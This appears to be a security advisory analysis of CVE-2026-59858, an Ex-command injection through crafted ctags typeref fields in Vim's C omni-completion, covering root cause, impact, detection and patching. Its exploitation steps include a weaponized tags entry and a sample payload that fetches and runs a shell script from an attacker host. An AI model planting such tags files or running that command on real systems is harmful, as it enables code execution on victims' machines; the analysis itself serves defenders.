CVE-2026-59858: 
Vim vulnerability analysis and mitigation

CVE-2026-59858 is an arbitrary code execution vulnerability in Vim's C omni-completion script (runtime/autoload/ccomplete.vim) that allows execution of arbitrary Ex commands when a user opens a malicious .c file and invokes C omni-completion. It affects all Vim versions prior to 9.2.0735 and was disclosed on June 26, 2026, with the CVE published on July 9, 2026. The fix was released in Vim 9.2.0735. It carries a CVSS v3.1 base score of 7.8 (High) and a CVSS v4.0 base score of 8.4 (High) (GitHub Advisory, Red Hat).

The root cause is improper control of code generation (CWE-94): the StructMembers() function in runtime/autoload/ccomplete.vim reads the typeref: or typename: extension field from a ctags entry and concatenates it directly — without escaping — into a :vimgrep pattern executed via :execute. Because :vimgrep carries the EX_TRLBAR attribute, an unescaped pipe character (|) in the constructed command line terminates the :vimgrep and begins a new Ex command. A crafted tag field such as x/||" can therefore close the regex pattern, inject an arbitrary Ex command, and comment out the remainder of the generated line. Exploitation requires filetype plugins to be enabled (the default in most distributions), a reachable tags file (defaulting to ./tags), and the victim invoking C omni-completion (CTRL-X CTRL-O) on a struct/union member access in the hostile .c file. The fix (patch 9.2.0735) escapes the type field with escape(typename, '/\') before inserting it into the :vimgrep pattern (GitHub Advisory, Vim Commit).

Successful exploitation results in arbitrary local code execution as the user running Vim, granting the attacker full access to that user's credentials, file system, and network egress. All three CIA pillars are affected at high severity: confidentiality (file and credential access), integrity (arbitrary file modification or command execution), and availability (process termination or system disruption). Realistic delivery vectors include cloning a third-party repository with a malicious tags file alongside C sources, extracting a hostile source tarball, or auditing untrusted code in its project directory (GitHub Advisory).

1. Craft a malicious tags file: Create a tags file containing an entry with a weaponized typeref: field, e.g.:

   !_TAG_FILE_SORTED	0	/0/
   myvar	main.c	/^x$/;"	v	typeref:x/|<ARBITRARY_EX_COMMAND>|"

   Replace <ARBITRARY_EX_COMMAND> with any Ex command (e.g., !curl attacker.com/shell.sh | sh or let g:pwned=1).

2. Deliver the malicious project: Place the crafted tags file alongside a .c source file in a directory the victim will open (e.g., via a malicious repository, tarball, or shared project). The tags file must be reachable via Vim's 'tags' option (default: ./tags).

3. Wait for victim to open the .c file: The victim opens the hostile .c file in Vim with filetype plugins enabled (the default). The vulnerability does not trigger on file open alone.

4. Trigger C omni-completion: The victim types a struct/union member access expression (e.g., myvar.) and invokes C omni-completion with CTRL-X CTRL-O. Vim's ccomplete#Complete calls StructMembers(), which reads the typeref: field from the tags entry.

5. Arbitrary Ex command executes: The unescaped typeref: value is interpolated into the :vimgrep pattern and passed to :execute. The pipe character closes the search pattern and the injected Ex command runs as the editing user, achieving arbitrary code execution (GitHub Advisory, Vim Commit).

• File System: Presence of a tags file in a C project directory containing entries with typeref: or typename: fields that include pipe characters (|), forward slashes (/), or shell command syntax; unexpected files created or modified in the user's home directory or project directory after invoking Vim omni-completion.
• Process: Unexpected child processes spawned by the Vim process (e.g., sh, bash, curl, wget, python) immediately after C omni-completion is invoked; network connections originating from the Vim process.
• Logs: Shell history or audit logs showing commands executed under the user's account at the time of Vim usage; auditd records of execve calls with Vim as the parent process.

Upgrade Vim to version 9.2.0735 or later, which escapes the typeref:/typename: field before inserting it into the :vimgrep pattern (Vim Commit). Ubuntu users should apply the fix via USN-8541-1, and openSUSE/SUSE users via the relevant SUSE security update. As a workaround prior to patching, disable C omni-completion when working with untrusted projects (:set omnifunc= or :filetype plugin off), or avoid invoking CTRL-X CTRL-O on struct member accesses in untrusted C codebases. Exercise caution when opening C projects from untrusted sources, particularly those that ship a tags file (GitHub Advisory, Red Hat).

The Vim project rated the severity as Moderate in its GitHub Security Advisory, noting that exploitation requires manual user interaction (invoking omni-completion) and produces a visible error message, making the attack noticeable. The issue was credited to Cipher / Causal Security for responsible disclosure and provision of a proof-of-concept. Red Hat opened a tracking bug (Bugzilla #2498868) and rated it medium priority/severity. Downstream Linux distributions including Ubuntu (USN-8541-1) and openSUSE/SUSE issued security updates shortly after the patch was released (GitHub Advisory, Red Hat Bugzilla, Ubuntu Advisory).